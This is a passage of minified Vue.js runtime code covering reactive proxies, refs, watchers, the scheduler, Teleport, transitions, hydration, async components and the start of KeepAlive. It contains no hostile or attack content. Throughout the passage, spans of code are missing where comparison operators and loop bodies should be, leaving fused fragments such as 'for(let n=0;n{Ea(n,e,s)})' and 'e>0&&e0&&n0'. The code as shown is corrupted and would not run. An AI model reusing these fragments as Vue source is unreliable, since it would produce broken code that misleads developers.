i=this.__v_raw,l=Dt(i),r=Dt(a);t||(Ds(a,r)&&Us(l,"get",a),Us(l,"get",r));const{has:o}=mo(l),c=e?ld:t?Dl:Jn;if(o.call(l,a))return c(i.get(a));if(o.call(l,r))return c(i.get(r));i!==l&&i.get(a)},get size(){const a=this.__v_raw;return!t&&Us(Dt(a),"iterate",Li),a.size},has(a){const i=this.__v_raw,l=Dt(i),r=Dt(a);return t||(Ds(a,r)&&Us(l,"has",a),Us(l,"has",r)),a===r?i.has(a):i.has(a)||i.has(r)},forEach(a,i){const l=this,r=l.__v_raw,o=Dt(r),c=e?ld:t?Dl:Jn;return!t&&Us(o,"iterate",Li),r.forEach((u,d)=>a.call(i,c(u),c(d),l))}};return vt(s,t?{add:vo("add"),set:vo("set"),delete:vo("delete"),clear:vo("clear")}:{add(a){const i=Dt(this),l=mo(i),r=Dt(a),o=!e&&!vn(a)&&!oa(a)?r:a;return l.has.call(i,o)||Ds(a,o)&&l.has.call(i,a)||Ds(r,o)&&l.has.call(i,r)||(i.add(o),_a(i,"add",o,o)),this},set(a,i){!e&&!vn(i)&&!oa(i)&&(i=Dt(i));const l=Dt(this),{has:r,get:o}=mo(l);let c=r.call(l,a);c||(a=Dt(a),c=r.call(l,a));const u=o.call(l,a);return l.set(a,i),c?Ds(i,u)&&_a(l,"set",a,i):_a(l,"add",a,i),this},delete(a){const i=Dt(this),{has:l,get:r}=mo(i);let o=l.call(i,a);o||(a=Dt(a),o=l.call(i,a)),r&&r.call(i,a);const c=i.delete(a);return o&&_a(i,"delete",a,void 0),c},clear(){const a=Dt(this),i=a.size!==0,l=a.clear();return i&&_a(a,"clear",void 0,void 0),l}}),["keys","values","entries",Symbol.iterator].forEach(a=>{s[a]=Oy(a,t,e)}),s}function $c(t,e){const s=Ly(t,e);return(n,a,i)=>a==="__v_isReactive"?!t:a==="__v_isReadonly"?t:a==="__v_raw"?n:Reflect.get(Lt(s,a)&&a in n?s:n,a,i)}const Ny={get:$c(!1,!1)},Fy={get:$c(!1,!0)},My={get:$c(!0,!1)},Py={get:$c(!0,!0)},wg=new WeakMap,_g=new WeakMap,Eg=new WeakMap,kg=new WeakMap;function Hy(t){switch(t){case"Object":case"Array":return 1;case"Map":case"Set":case"WeakMap":case"WeakSet":return 2;default:return 0}}function Bi(t){return oa(t)?t:jc(t,!1,Ty,Ny,wg)}function ep(t){return jc(t,!1,Ry,Fy,_g)}function ac(t){return jc(t,!0,Ay,My,Eg)}function Gy(t){return jc(t,!0,Iy,Py,kg)}function jc(t,e,s,n,a){if(!Rt(t)||t.__v_raw&&!(e&&t.__v_isReactive)||t.__v_skip||!Object.isExtensible(t))return t;const i=a.get(t);if(i)return i;const l=Hy(WC(t));if(l===0)return t;const r=new Proxy(t,l===2?n:s);return a.set(t,r),r}function Ra(t){return oa(t)?Ra(t.__v_raw):!!(t&&t.__v_isReactive)}function oa(t){return!!(t&&t.__v_isReadonly)}function vn(t){return!!(t&&t.__v_isShallow)}function Zr(t){return t?!!t.__v_raw:!1}function Dt(t){const e=t&&t.__v_raw;return e?Dt(e):t}function Dg(t){return!Lt(t,"__v_skip")&&Object.isExtensible(t)&&ig(t,"__v_skip",!0),t}const Jn=t=>Rt(t)?Bi(t):t,Dl=t=>Rt(t)?ac(t):t;function bs(t){return t?t.__v_isRef===!0:!1}function f(t){return Sg(t,!1)}function tp(t){return Sg(t,!0)}function Sg(t,e){return bs(t)?t:new Uy(t,e)}class Uy{constructor(e,s){this.dep=new Gc,this.__v_isRef=!0,this.__v_isShallow=!1,this._rawValue=s?e:Dt(e),this._value=s?e:Jn(e),this.__v_isShallow=s}get value(){return this.dep.track(),this._value}set value(e){const s=this._rawValue,n=this.__v_isShallow||vn(e)||oa(e);e=n?e:Dt(e),Ds(e,s)&&(this._rawValue=e,this._value=n?e:Jn(e),this.dep.trigger())}}function $y(t){t.dep&&t.dep.trigger()}function ra(t){return bs(t)?t.value:t}function jy(t){return rt(t)?t():ra(t)}const Jy={get:(t,e,s)=>e==="__v_raw"?t:ra(Reflect.get(t,e,s)),set:(t,e,s,n)=>{const a=t[e];return bs(a)&&!bs(s)?(a.value=s,!0):Reflect.set(t,e,s,n)}};function sp(t){return Ra(t)?t:new Proxy(t,Jy)}class zy{constructor(e){this.__v_isRef=!0,this._value=void 0;const s=this.dep=new Gc,{get:n,set:a}=e(s.track.bind(s),s.trigger.bind(s));this._get=n,this._set=a}get value(){return this._value=this._get()}set value(e){this._set(e)}}function Tg(t){return new zy(t)}function qy(t){const e=Ve(t)?new Array(t.length):{};for(const s in t)e[s]=Ag(t,s);return e}class Vy{constructor(e,s,n){this._object=e,this._defaultValue=n,this.__v_isRef=!0,this._value=void 0,this._key=Js(s)?s:String(s),this._raw=Dt(e);let a=!0,i=e;if(!Ve(e)||Js(this._key)||!Nc(this._key))do a=!Zr(i)||vn(i);while(a&&(i=i.__v_raw));this._shallow=a}get value(){let e=this._object[this._key];return this._shallow&&(e=ra(e)),this._value=e===void 0?this._defaultValue:e}set value(e){if(this._shallow&&bs(this._raw[this._key])){const s=this._object[this._key];if(bs(s)){s.value=e;return}}this._object[this._key]=e}get dep(){return _y(this._raw,this._key)}}class Ky{constructor(e){this._getter=e,this.__v_isRef=!0,this.__v_isReadonly=!0,this._value=void 0}get value(){return this._value=this._getter()}}function Wy(t,e,s){return bs(t)?t:rt(t)?new Ky(t):Rt(t)&&arguments.length>1?Ag(t,e,s):f(t)}function Ag(t,e,s){return new Vy(t,e,s)}class Qy{constructor(e,s,n){this.fn=e,this.setter=s,this._value=void 0,this.dep=new Gc(this),this.__v_isRef=!0,this.deps=void 0,this.depsTail=void 0,this.flags=16,this.globalVersion=Tr-1,this.next=void 0,this.effect=this,this.__v_isReadonly=!s,this.isSSR=n}notify(){if(this.flags|=16,!(this.flags&8)&&qt!==this)return fg(this,!0),!0}get value(){const e=this.dep.track();return gg(this),e&&(e.version=this.dep.version),this._value}set value(e){this.setter&&this.setter(e)}}function Yy(t,e,s=!1){let n,a;return rt(t)?n=t:(n=t.get,a=t.set),new Qy(n,a,s)}const Zy={GET:"get",HAS:"has",ITERATE:"iterate"},Xy={SET:"set",ADD:"add",DELETE:"delete",CLEAR:"clear"},bo={},ic=new WeakMap;let ai;function ex(){return ai}function Rg(t,e=!1,s=ai){if(s){let n=ic.get(s);n||ic.set(s,n=[]),n.push(t)}}function tx(t,e,s=bt){const{immediate:n,deep:a,once:i,scheduler:l,augmentJob:r,call:o}=s,c=m=>a?m:vn(m)||a===!1||a===0?Ea(m,1):Ea(m);let u,d,p,B,h=!1,b=!1;if(bs(t)?(d=()=>t.value,h=vn(t)):Ra(t)?(d=()=>c(t),h=!0):Ve(t)?(b=!0,h=t.some(m=>Ra(m)||vn(m)),d=()=>t.map(m=>{if(bs(m))return m.value;if(Ra(m))return c(m);if(rt(m))return o?o(m,2):m()})):rt(t)?e?d=o?()=>o(t,2):t:d=()=>{if(p){Na();try{p()}finally{Fa()}}const m=ai;ai=u;try{return o?o(t,3,[B]):t(B)}finally{ai=m}}:d=Ns,e&&a){const m=d,y=a===!0?1/0:a;d=()=>Ea(m(),y)}const w=dg(),_=()=>{u.stop(),w&&w.active&&Kd(w.effects,u)};if(i&&e){const m=e;e=(...y)=>{const k=m(...y);return _(),k}}let C=b?new Array(t.length).fill(bo):bo;const v=m=>{if(!(!(u.flags&1)||!u.dirty&&!m))if(e){const y=u.run();if(m||a||h||(b?y.some((k,x)=>Ds(k,C[x])):Ds(y,C))){p&&p();const k=ai;ai=u;try{const x=[y,C===bo?void 0:b&&C[0]===bo?[]:C,B];C=y,o?o(e,3,x):e(...x)}finally{ai=k}}}else u.run()};return r&&r(v),u=new Sr(d),u.scheduler=l?()=>l(v,!1):v,B=m=>Rg(m,!1,u),p=u.onStop=()=>{const m=ic.get(u);if(m){if(o)o(m,4);else for(const y of m)y();ic.delete(u)}},e?n?v(!0):C=u.run():l?l(v.bind(null,!0),!0):u.run(),_.pause=u.pause.bind(u),_.resume=u.resume.bind(u),_.stop=_,_}function Ea(t,e=1/0,s){if(e<=0||!Rt(t)||t.__v_skip||(s=s||new Map,(s.get(t)||0)>=e))return t;if(s.set(t,e),e--,bs(t))Ea(t.value,e,s);else if(Ve(t))for(let n=0;n{Ea(n,e,s)});else if(Lc(t)){for(const n in t)Ea(t[n],e,s);for(const n of Object.getOwnPropertySymbols(t))Object.prototype.propertyIsEnumerable.call(t,n)&&Ea(t[n],e,s)}return t}/** +* @vue/runtime-core v3.5.38 +* (c) 2018-present Yuxi (Evan) You and Vue contributors +* @license MIT +**/const Ig=[];function sx(t){Ig.push(t)}function nx(){Ig.pop()}function ax(t,e){}const ix={SETUP_FUNCTION:0,0:"SETUP_FUNCTION",RENDER_FUNCTION:1,1:"RENDER_FUNCTION",NATIVE_EVENT_HANDLER:5,5:"NATIVE_EVENT_HANDLER",COMPONENT_EVENT_HANDLER:6,6:"COMPONENT_EVENT_HANDLER",VNODE_HOOK:7,7:"VNODE_HOOK",DIRECTIVE_HOOK:8,8:"DIRECTIVE_HOOK",TRANSITION_HOOK:9,9:"TRANSITION_HOOK",APP_ERROR_HANDLER:10,10:"APP_ERROR_HANDLER",APP_WARN_HANDLER:11,11:"APP_WARN_HANDLER",FUNCTION_REF:12,12:"FUNCTION_REF",ASYNC_COMPONENT_LOADER:13,13:"ASYNC_COMPONENT_LOADER",SCHEDULER:14,14:"SCHEDULER",COMPONENT_UPDATE:15,15:"COMPONENT_UPDATE",APP_UNMOUNT_CLEANUP:16,16:"APP_UNMOUNT_CLEANUP"},lx={sp:"serverPrefetch hook",bc:"beforeCreate hook",c:"created hook",bm:"beforeMount hook",m:"mounted hook",bu:"beforeUpdate hook",u:"updated",bum:"beforeUnmount hook",um:"unmounted hook",a:"activated hook",da:"deactivated hook",ec:"errorCaptured hook",rtc:"renderTracked hook",rtg:"renderTriggered hook",0:"setup function",1:"render function",2:"watcher getter",3:"watcher callback",4:"watcher cleanup function",5:"native event handler",6:"component event handler",7:"vnode hook",8:"directive hook",9:"transition hook",10:"app errorHandler",11:"app warnHandler",12:"ref function",13:"async component loader",14:"scheduler flush",15:"component update",16:"app unmount cleanup function"};function Gl(t,e,s,n){try{return n?t(...n):t()}catch(a){Vi(a,e,s)}}function En(t,e,s,n){if(rt(t)){const a=Gl(t,e,s,n);return a&&Wd(a)&&a.catch(i=>{Vi(i,e,s)}),a}if(Ve(t)){const a=[];for(let i=0;i>>1,a=en[n],i=Ir(a);i=Ir(s)?en.push(t):en.splice(ox(e),0,t),t.flags|=1,Lg()}}function Lg(){lc||(lc=Og.then(Ng))}function Rr(t){Ve(t)?yl.push(...t):ii&&t.id===-1?ii.splice(ol+1,0,t):t.flags&1||(yl.push(t),t.flags|=1),Lg()}function _f(t,e,s=na+1){for(;sIr(s)-Ir(n));if(yl.length=0,ii){ii.push(...e);return}for(ii=e,ol=0;olt.id==null?t.flags&2?-1:1/0:t.id;function Ng(t){try{for(na=0;nacl.emit(a,...i)),Co=[]):typeof window<"u"&&window.HTMLElement&&!((n=(s=window.navigator)==null?void 0:s.userAgent)!=null&&n.includes("jsdom"))?((e.__VUE_DEVTOOLS_HOOK_REPLAY__=e.__VUE_DEVTOOLS_HOOK_REPLAY__||[]).push(i=>{Fg(i,e)}),setTimeout(()=>{cl||(e.__VUE_DEVTOOLS_HOOK_REPLAY__=null,Co=[])},3e3)):Co=[]}let Ls=null,Jc=null;function Or(t){const e=Ls;return Ls=t,Jc=t&&t.type.__scopeId||null,e}function cx(t){Jc=t}function ux(){Jc=null}const dx=t=>ap;function ap(t,e=Ls,s){if(!e||t._n)return t;const n=(...a)=>{n._d&&Mr(-1);const i=Or(e);let l;try{l=t(...a)}finally{Or(i),n._d&&Mr(1)}return l};return n._n=!0,n._c=!0,n._d=!0,n}function px(t,e){if(Ls===null)return t;const s=so(Ls),n=t.dirs||(t.dirs=[]);for(let a=0;a1)return s&&rt(e)?e.call(n&&n.proxy):e}}function fx(){return!!(nn()||Ni)}const Mg=Symbol.for("v-scx"),Pg=()=>Fn(Mg);function Bx(t,e){return Xr(t,null,e)}function hx(t,e){return Xr(t,null,{flush:"post"})}function Hg(t,e){return Xr(t,null,{flush:"sync"})}function us(t,e,s){return Xr(t,e,s)}function Xr(t,e,s=bt){const{immediate:n,deep:a,flush:i,once:l}=s,r=vt({},s),o=e&&n||!e&&i!=="post";let c;if(Gi){if(i==="sync"){const B=Pg();c=B.__watcherHandles||(B.__watcherHandles=[])}else if(!o){const B=()=>{};return B.stop=Ns,B.resume=Ns,B.pause=Ns,B}}const u=Os;r.call=(B,h,b)=>En(B,u,h,b);let d=!1;i==="post"?r.scheduler=B=>{gs(B,u&&u.suspense)}:i!=="sync"&&(d=!0,r.scheduler=(B,h)=>{h?B():np(B)}),r.augmentJob=B=>{e&&(B.flags|=4),d&&(B.flags|=2,u&&(B.id=u.uid,B.i=u))};const p=tx(t,e,r);return Gi&&(c?c.push(p):o&&p()),p}function gx(t,e,s){const n=this.proxy,a=ut(t)?t.includes(".")?Gg(n,t):()=>n[t]:t.bind(n,n);let i;rt(e)?i=e:(i=e.handler,s=e);const l=Ul(this),r=Xr(a,i.bind(n),s);return l(),r}function Gg(t,e){const s=e.split(".");return()=>{let n=t;for(let a=0;at.__isTeleport,Si=t=>t&&(t.disabled||t.disabled===""),mx=t=>t&&(t.defer||t.defer===""),Ef=t=>typeof SVGElement<"u"&&t instanceof SVGElement,kf=t=>typeof MathMLElement=="function"&&t instanceof MathMLElement,rd=(t,e)=>{const s=t&&t.to;return ut(s)?e?e(s):null:s},vx={name:"Teleport",__isTeleport:!0,process(t,e,s,n,a,i,l,r,o,c){const{mc:u,pc:d,pbc:p,o:{insert:B,querySelector:h,createText:b,createComment:w,parentNode:_}}=c,C=Si(e.props);let{dynamicChildren:v}=e;const m=(x,A,S)=>{x.shapeFlag&16&&u(x.children,A,S,a,i,l,r,o)},y=(x=e)=>{const A=Si(x.props),S=x.target=rd(x.props,h),L=od(S,x,b,B);S&&(l!=="svg"&&Ef(S)?l="svg":l!=="mathml"&&kf(S)&&(l="mathml"),a&&a.isCE&&(a.ce._teleportTargets||(a.ce._teleportTargets=new Set)).add(S),A||(m(x,S,L),pr(x,!1)))},k=x=>{const A=()=>{if(ti.get(x)===A){if(ti.delete(x),Si(x.props)){const S=_(x.el)||s;m(x,S,x.anchor),pr(x,!0)}y(x)}};ti.set(x,A),gs(A,i)};if(t==null){const x=e.el=b(""),A=e.anchor=b("");if(B(x,s,n),B(A,s,n),mx(e.props)||i&&i.pendingBranch){k(e);return}C&&(m(e,s,A),pr(e,!0)),y()}else{e.el=t.el;const x=e.anchor=t.anchor,A=ti.get(t);if(A){A.flags|=8,ti.delete(t),k(e);return}e.targetStart=t.targetStart;const S=e.target=t.target,L=e.targetAnchor=t.targetAnchor,O=Si(t.props),I=O?s:S,J=O?x:L;if(l==="svg"||Ef(S)?l="svg":(l==="mathml"||kf(S))&&(l="mathml"),v?(p(t.dynamicChildren,v,I,a,i,l,r),hp(t,e,!0)):o||d(t,e,I,J,a,i,l,r,!1),C)O?e.props&&t.props&&e.props.to!==t.props.to&&(e.props.to=t.props.to):yo(e,s,x,c,1);else if((e.props&&e.props.to)!==(t.props&&t.props.to)){const ie=e.target=rd(e.props,h);ie&&yo(e,ie,null,c,0)}else O&&yo(e,S,L,c,1);pr(e,C)}},remove(t,e,s,{um:n,o:{remove:a}},i){const{shapeFlag:l,children:r,anchor:o,targetStart:c,targetAnchor:u,target:d,props:p}=t,B=i||!Si(p),h=ti.get(t);if(h&&(h.flags|=8,ti.delete(t)),d&&(a(c),a(u)),i&&a(o),!h&&l&16)for(let b=0;b{t.isMounted=!0}),Kc(()=>{t.isUnmounting=!0}),t}const An=[Function,Array],lp={mode:String,appear:Boolean,persisted:Boolean,onBeforeEnter:An,onEnter:An,onAfterEnter:An,onEnterCancelled:An,onBeforeLeave:An,onLeave:An,onAfterLeave:An,onLeaveCancelled:An,onBeforeAppear:An,onAppear:An,onAfterAppear:An,onAppearCancelled:An},jg=t=>{const e=t.subTree;return e.component?jg(e.component):e},yx={name:"BaseTransition",props:lp,setup(t,{slots:e}){const s=nn(),n=ip();return()=>{const a=e.default&&zc(e.default(),!0),i=a&&a.length?Jg(a):s.subTree?km():void 0;if(!i)return;const l=Dt(t),{mode:r}=l;if(n.isLeaving)return Tu(i);const o=Df(i);if(!o)return Tu(i);let c=Sl(o,l,n,s,d=>c=d);o.type!==Bs&&Ma(o,c);let u=s.subTree&&Df(s.subTree);if(u&&u.type!==Bs&&!Un(u,o)&&jg(s).type!==Bs){let d=Sl(u,l,n,s);if(Ma(u,d),r==="out-in"&&o.type!==Bs)return n.isLeaving=!0,d.afterLeave=()=>{n.isLeaving=!1,s.job.flags&8||s.update(),delete d.afterLeave,u=void 0},Tu(i);r==="in-out"&&o.type!==Bs?d.delayLeave=(p,B,h)=>{const b=qg(n,u);b[String(u.key)]=u,p[In]=()=>{B(),p[In]=void 0,delete c.delayedLeave,u=void 0},c.delayedLeave=()=>{h(),delete c.delayedLeave,u=void 0}}:u=void 0}else u&&(u=void 0);return i}}};function Jg(t){let e=t[0];if(t.length>1){for(const s of t)if(s.type!==Bs){e=s;break}}return e}const zg=yx;function qg(t,e){const{leavingVNodes:s}=t;let n=s.get(e.type);return n||(n=Object.create(null),s.set(e.type,n)),n}function Sl(t,e,s,n,a){const{appear:i,mode:l,persisted:r=!1,onBeforeEnter:o,onEnter:c,onAfterEnter:u,onEnterCancelled:d,onBeforeLeave:p,onLeave:B,onAfterLeave:h,onLeaveCancelled:b,onBeforeAppear:w,onAppear:_,onAfterAppear:C,onAppearCancelled:v}=e,m=String(t.key),y=qg(s,t),k=(S,L)=>{S&&En(S,n,9,L)},x=(S,L)=>{const O=L[1];k(S,L),Ve(S)?S.every(I=>I.length<=1)&&O():S.length<=1&&O()},A={mode:l,persisted:r,beforeEnter(S){let L=o;if(!s.isMounted)if(i)L=w||o;else return;S[In]&&S[In](!0);const O=y[m];O&&Un(t,O)&&O.el[In]&&O.el[In](),k(L,[S])},enter(S){if(y[m]===t)return;let L=c,O=u,I=d;if(!s.isMounted)if(i)L=_||c,O=C||u,I=v||d;else return;let J=!1;S[Zl]=te=>{J||(J=!0,te?k(I,[S]):k(O,[S]),A.delayedLeave&&A.delayedLeave(),S[Zl]=void 0)};const ie=S[Zl].bind(null,!1);L?x(L,[S,ie]):ie()},leave(S,L){const O=String(t.key);if(S[Zl]&&S[Zl](!0),s.isUnmounting)return L();k(p,[S]);let I=!1;S[In]=ie=>{I||(I=!0,L(),ie?k(b,[S]):k(h,[S]),S[In]=void 0,y[O]===t&&delete y[O])};const J=S[In].bind(null,!1);y[O]=t,B?x(B,[S,J]):J()},clone(S){const L=Sl(S,e,s,n,a);return a&&a(L),L}};return A}function Tu(t){if(to(t))return t=ca(t),t.children=null,t}function Df(t){if(!to(t))return $g(t.type)&&t.children?Jg(t.children):t;if(t.component)return t.component.subTree;const{shapeFlag:e,children:s}=t;if(s){if(e&16)return s[0];if(e&32&&rt(s.default))return s.default()}}function Ma(t,e){t.shapeFlag&6&&t.component?(t.transition=e,Ma(t.component.subTree,e)):t.shapeFlag&128?(t.ssContent.transition=e.clone(t.ssContent),t.ssFallback.transition=e.clone(t.ssFallback)):t.transition=e}function zc(t,e=!1,s){let n=[],a=0;for(let i=0;i1)for(let i=0;is.value,set:i=>s.value=i})}return s}function Sf(t,e){let s;return!!((s=Object.getOwnPropertyDescriptor(t,e))&&!s.configurable)}const oc=new WeakMap;function xl(t,e,s,n,a=!1){if(Ve(t)){t.forEach((b,w)=>xl(b,e&&(Ve(e)?e[w]:e),s,n,a));return}if(Ia(n)&&!a){n.shapeFlag&512&&n.type.__asyncResolved&&n.component.subTree.component&&xl(t,e,s,n.component.subTree);return}const i=n.shapeFlag&4?so(n.component):n.el,l=a?null:i,{i:r,r:o}=t,c=e&&e.r,u=r.refs===bt?r.refs={}:r.refs,d=r.setupState,p=Dt(d),B=d===bt?Bl:b=>Sf(u,b)?!1:Lt(p,b),h=(b,w)=>!(w&&Sf(u,w));if(c!=null&&c!==o){if(Tf(e),ut(c))u[c]=null,B(c)&&(d[c]=null);else if(bs(c)){const b=e;h(c,b.k)&&(c.value=null),b.k&&(u[b.k]=null)}}if(rt(o))Gl(o,r,12,[l,u]);else{const b=ut(o),w=bs(o);if(b||w){const _=()=>{if(t.f){const C=b?B(o)?d[o]:u[o]:h()||!t.k?o.value:u[t.k];if(a)Ve(C)&&Kd(C,i);else if(Ve(C))C.includes(i)||C.push(i);else if(b)u[o]=[i],B(o)&&(d[o]=u[o]);else{const v=[i];h(o,t.k)&&(o.value=v),t.k&&(u[t.k]=v)}}else b?(u[o]=l,B(o)&&(d[o]=l)):w&&(h(o,t.k)&&(o.value=l),t.k&&(u[t.k]=l))};if(l){const C=()=>{_(),oc.delete(t)};C.id=-1,oc.set(t,C),gs(C,s)}else Tf(t),_()}}}function Tf(t){const e=oc.get(t);e&&(e.flags|=8,oc.delete(t))}let Af=!1;const sl=()=>{Af||(console.error("Hydration completed but contains mismatches."),Af=!0)},_x=t=>t.namespaceURI.includes("svg")&&t.tagName!=="foreignObject",Ex=t=>t.namespaceURI.includes("MathML"),xo=t=>{if(t.nodeType===1){if(_x(t))return"svg";if(Ex(t))return"mathml"}},hl=t=>t.nodeType===8;function kx(t){const{mt:e,p:s,o:{patchProp:n,createText:a,nextSibling:i,parentNode:l,remove:r,insert:o,createComment:c}}=t,u=(v,m)=>{if(!m.hasChildNodes()){s(null,v,m),rc(),m._vnode=v;return}d(m.firstChild,v,null,null,null),rc(),m._vnode=v},d=(v,m,y,k,x,A=!1)=>{A=A||!!m.dynamicChildren;const S=hl(v)&&v.data==="[",L=()=>b(v,m,y,k,x,S),{type:O,ref:I,shapeFlag:J,patchFlag:ie}=m;let te=v.nodeType;m.el=v,ie===-2&&(A=!1,m.dynamicChildren=null);let R=null;switch(O){case ui:te!==3?m.children===""?(o(m.el=a(""),l(v),v),R=v):R=L():(v.data!==m.children&&(sl(),v.data=m.children),R=i(v));break;case Bs:C(v)?(R=i(v),_(m.el=v.content.firstChild,v,y)):te!==8||S?R=L():R=i(v);break;case Fi:if(S&&(v=i(v),te=v.nodeType),te===1||te===3){R=v;const j=!m.children.length;for(let N=0;N{A=A||!!m.dynamicChildren;const{type:S,props:L,patchFlag:O,shapeFlag:I,dirs:J,transition:ie}=m,te=S==="input"||S==="option";if(te||O!==-1){J&&aa(m,null,y,"created");let R=!1;if(C(v)){R=mm(null,ie)&&y&&y.vnode.props&&y.vnode.props.appear;const N=v.content.firstChild;if(R){const z=N.getAttribute("class");z&&(N.$cls=z),ie.beforeEnter(N)}_(N,v,y),m.el=v=N}if(I&16&&!(L&&(L.innerHTML||L.textContent))){let N=B(v.firstChild,m,v,y,k,x,A);for(N&&!wo(v,1)&&sl();N;){const z=N;N=N.nextSibling,r(z)}}else if(I&8){let N=m.children;N[0]===` +`&&(v.tagName==="PRE"||v.tagName==="TEXTAREA")&&(N=N.slice(1));const{textContent:z}=v;z!==N&&z!==N.replace(/\r\n|\r/g,` +`)&&(wo(v,0)||sl(),v.textContent=m.children)}if(L){if(te||!A||O&48){const N=v.tagName.includes("-");for(const z in L)(te&&(z.endsWith("value")||z==="indeterminate")||Ji(z)&&!Aa(z)||z[0]==="."||N&&!Aa(z))&&n(v,z,null,L[z],void 0,y)}else if(L.onClick)n(v,"onClick",null,L.onClick,void 0,y);else if(O&4&&Ra(L.style))for(const N in L.style)L.style[N]}let j;(j=L&&L.onVnodeBeforeMount)&&pn(j,y,m),J&&aa(m,null,y,"beforeMount"),((j=L&&L.onVnodeMounted)||J||R)&&ym(()=>{j&&pn(j,y,m),R&&ie.enter(v),J&&aa(m,null,y,"mounted")},k)}return v.nextSibling},B=(v,m,y,k,x,A,S)=>{S=S||!!m.dynamicChildren;const L=m.children,O=L.length;let I=!1;for(let J=0;J{const{slotScopeIds:S}=m;S&&(x=x?x.concat(S):S);const L=l(v),O=B(i(v),m,L,y,k,x,A);return O&&hl(O)&&O.data==="]"?i(m.anchor=O):(sl(),o(m.anchor=c("]"),L,O),O)},b=(v,m,y,k,x,A)=>{if(wo(v.parentElement,1)||sl(),m.el=null,A){const O=w(v);for(;;){const I=i(v);if(I&&I!==O)r(I);else break}}const S=i(v),L=l(v);return r(v),s(null,m,L,S,y,k,xo(L),x),y&&(y.vnode.el=m.el,Qc(y,m.el)),S},w=(v,m="[",y="]")=>{let k=0;for(;v;)if(v=i(v),v&&hl(v)&&(v.data===m&&k++,v.data===y)){if(k===0)return i(v);k--}return v},_=(v,m,y)=>{const k=m.parentNode;k&&k.replaceChild(v,m);let x=y;for(;x;)x.vnode.el===m&&(x.vnode.el=x.subTree.el=v),x=x.parent},C=v=>v.nodeType===1&&v.tagName==="TEMPLATE";return[u,d]}const Rf="data-allow-mismatch",Dx={0:"text",1:"children",2:"class",3:"style",4:"attribute"};function wo(t,e){if(e===0||e===1)for(;t&&!t.hasAttribute(Rf);)t=t.parentElement;const s=t&&t.getAttribute(Rf);if(s==null)return!1;if(s==="")return!0;{const n=s.split(",");return e===0&&n.includes("children")?!0:n.includes(Dx[e])}}const Sx=Pc().requestIdleCallback||(t=>setTimeout(t,1)),Tx=Pc().cancelIdleCallback||(t=>clearTimeout(t)),Ax=(t=1e4)=>e=>{const s=Sx(e,{timeout:t});return()=>Tx(s)};function Rx(t){const{top:e,left:s,bottom:n,right:a}=t.getBoundingClientRect(),{innerHeight:i,innerWidth:l}=window;return(e>0&&e0&&n0&&s0&&a(e,s)=>{const n=new IntersectionObserver(a=>{for(const i of a)if(i.isIntersecting){n.disconnect(),e();break}},t);return s(a=>{if(a instanceof Element){if(Rx(a))return e(),n.disconnect(),!1;n.observe(a)}}),()=>n.disconnect()},Ox=t=>e=>{if(t){const s=matchMedia(t);if(s.matches)e();else return s.addEventListener("change",e,{once:!0}),()=>s.removeEventListener("change",e)}},Lx=(t=[])=>(e,s)=>{ut(t)&&(t=[t]);let n=!1;const a=l=>{n||(n=!0,i(),e(),l.target.dispatchEvent(new l.constructor(l.type,l)))},i=()=>{s(l=>{for(const r of t)l.removeEventListener(r,a)})};return s(l=>{for(const r of t)l.addEventListener(r,a,{once:!0})}),i};function Nx(t,e){if(hl(t)&&t.data==="["){let s=1,n=t.nextSibling;for(;n;){if(n.nodeType===1){if(e(n)===!1)break}else if(hl(n))if(n.data==="]"){if(--s===0)break}else n.data==="["&&s++;n=n.nextSibling}}else e(t)}const Ia=t=>!!t.type.__asyncLoader;function Fx(t){rt(t)&&(t={loader:t});const{loader:e,loadingComponent:s,errorComponent:n,delay:a=200,hydrate:i,timeout:l,suspensible:r=!0,onError:o}=t;let c=null,u,d=0;const p=()=>(d++,c=null,B()),B=()=>{let h;return c||(h=c=e().catch(b=>{if(b=b instanceof Error?b:new Error(String(b)),o)return new Promise((w,_)=>{o(b,()=>w(p()),()=>_(b),d+1)});throw b}).then(b=>h!==c&&c?c:(b&&(b.__esModule||b[Symbol.toStringTag]==="Module")&&(b=b.default),u=b,b)))};return eo({name:"AsyncComponentWrapper",__asyncLoader:B,__asyncHydrate(h,b,w){let _=!1;(b.bu||(b.bu=[])).push(()=>_=!0);const C=()=>{_||w()},v=i?()=>{const m=i(C,y=>Nx(h,y));m&&(b.bum||(b.bum=[])).push(m)}:C;u?v():B().then(()=>!b.isUnmounted&&v())},get __asyncResolved(){return u},setup(){const h=Os;if(rp(h),u)return()=>_o(u,h);const b=y=>{c=null,Vi(y,h,13,!n)};if(r&&h.suspense||Gi)return B().then(y=>()=>_o(y,h)).catch(y=>(b(y),()=>n?ss(n,{error:y}):null));const w=f(!1),_=f(),C=f(!!a);let v,m;return It(()=>{v!=null&&clearTimeout(v),m!=null&&clearTimeout(m)}),a&&(m=setTimeout(()=>{h.isUnmounted||(C.value=!1)},a)),l!=null&&(v=setTimeout(()=>{if(!h.isUnmounted&&!w.value&&!_.value){const y=new Error(`Async component timed out after ${l}ms.`);b(y),_.value=y}},l)),B().then(()=>{h.isUnmounted||(w.value=!0,h.parent&&to(h.parent.vnode)&&h.parent.update())}).catch(y=>{if(h.isUnmounted){c=null;return}b(y),_.value=y}),()=>{if(w.value&&u)return _o(u,h);if(_.value&&n)return ss(n,{error:_.value});if(s&&!C.value)return _o(s,h)}}})}function _o(t,e){const{ref:s,props:n,children:a,ce:i}=e.vnode,l=ss(t,n,a);return l.ref=s,l.ce=i,delete e.vnode.ce,l}const to=t=>t.type.__isKeepAlive,Mx={name:"KeepAlive",__isKeepAlive:!0,props:{include:[String,RegExp,Array],exclude:[String,RegExp,Array],max:[String,Number]},setup(t,{slots:e}){const s=nn(),n=s.ctx;if(!n.renderer)return()=>{const C=e.default&&e.default();return C&&C.length===1?C[0]:C};const a=new Map,i=new Set;let l=null;const r=s.suspense,{renderer:{p:o,m:c,um:u,o:{createElement:d}}}=n,p=d("div");n.activate=(C,v,m,y,k)=>{const x=C.component;c(C,v,m,0,r),o(x.vnode,C,v,m,x,r,y,C.slotScopeIds,k),gs(()=>{x.isDeactivated=!1,x.a&&Cl(x.a);const A=C.props&&C.props.onVnodeMounted;A&&pn(A,x.parent,C)},r)},n.deactivate=C=>{const v=C.component;uc(v.m),uc(v.a),c(C,p,null,1,r),gs(()=>{v.da&&Cl(v.da);const m=C.props&&C.props.onVnodeUnmounted;m&&pn(m,v.parent,C),v.isDeactivated=!0},r)};function B(C){Au(C),u(C,s,r,!0)}function h(C){a.forEach((v,m)=>{const y=md(Ia(v)?v.type.__asyncResolved||{}:v.type);y&&!C(y)&&b(m)})}function b(C){const 